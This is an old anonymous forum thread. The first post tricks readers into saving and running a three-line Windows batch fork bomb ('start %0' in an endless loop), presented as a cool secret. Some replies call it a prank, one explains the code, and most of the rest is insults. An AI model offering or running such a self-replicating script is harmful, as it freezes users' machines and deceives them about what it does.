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OMG THIS IS AWESOME

Name: Anonymous 2010-02-22 19:03

Open notepad and copypasta this:

:s
start %0
goto :s

Then save as a.bat. Double click a.bat. SHIT BRICKS!!

Name: Anonymous 2010-02-22 19:14

NO THANK YOU!

Name: Anonymous 2010-02-22 19:17

>>2
STFU old fag! Stop trying to hide these cool secrets from the new people here ok?

Name: !LoungEr4ms 2010-02-22 19:25

wow that was awesome thanx!

Name: Anonymous 2010-02-22 20:18

Sigh. Can't you take this shit back to /b/? Why do you want to fuck up a strangers computer? Is it because you're inadequate and the only feeling of power you can get is causing random inconvenience? Pathetic.

Name: Anonymous 2010-02-22 20:20

>>5
fail. GTFO.

Name: Anonymous 2010-02-22 20:22

>>6
Have a wank bro, it'll calm you down.

Name: !LoungEr4ms 2010-02-22 20:24

>>5
Wow, look at expert diagnosis from the psychology major! Isn't he just so cool? Seriously, dude, stop projecting and seek psychiatric help ASAP. Your bitterness is getting to be very tiring.

Name: Anonymous 2010-02-22 20:26

>>7
I'm not a bro, sir!

Name: Anonymous 2010-02-22 20:36

>>8,9
Here's some attention. Better now?

Name: Anonymous 2010-02-22 20:41

>>10
Only if you go seek medical help for you glaring mental problems.

Name: Anonymous 2010-02-22 21:01

>>11
Makes no sense, sorry bro.

Name: Anonymous 2010-02-22 21:19

>>12
see >>9

Name: Anonymous 2010-02-22 23:40

Save my notepad as a bat? What the hell does that mean? Do I need to use vampire blood for ink?

Name: Anonymous 2010-02-22 23:42

>>1
What's the point of that batch file?  All it is is a procedure that recursively calls itself forever.  Why do I want that?

Name: Anonymous 2010-02-23 0:02

>>1
holy shit i have access to confidential military documents now!
ty OP

Name: !LoungEr4ms 2010-02-24 2:09

Wow! This IS awesome! Try it everyone!

Name: Anonymous 2010-02-24 2:45

>>17
Sigh. Can't you take this shit back to /b/? Why do you want to fuck up a strangers computer? Is it because you're inadequate and the only feeling of power you can get is causing random inconvenience? Pathetic.

Name: Anonymous 2010-02-24 2:49

>>18
Oh look it's Mr Psychology major who has no life. Please go back to /r9k/ please or just any other part of FourChan but /lounge/. Thank you.

Name: Anonymous 2010-02-24 3:44

>>18
Agreed.

>>19
Listen here, jerkface. If you cannot have some damn empathy, then perhaps you need to take a good, hard look in the mirror and wonder where your life went wrong.

Name: Anonymous 2010-02-24 4:16

>>18

What does it ctually do?

Name: Anonymous 2010-02-24 10:49

At first i was like :-? but then ಠ_ಠ

Name: Anonymous 2010-02-24 13:45

>>21
Batch files (.bat) are from before Windows, and are for avoiding having to type out long commands every time you want to do something such as run a program with specific parameter settings.
:s  -names a procedure "s"
start %0  -orders start of what variable %0 represents, which is the bat file containing the command.  (in batch code, variables are marked with the % symbol)
goto :s  -orders procedure s to be performed

I imagine you would get a shit load of Command Prompt windows as the procedure keeps getting called.

Name: Anonymous 2010-02-24 18:49

>>20
You are projecting again, dude. Seek medical help ASAP!

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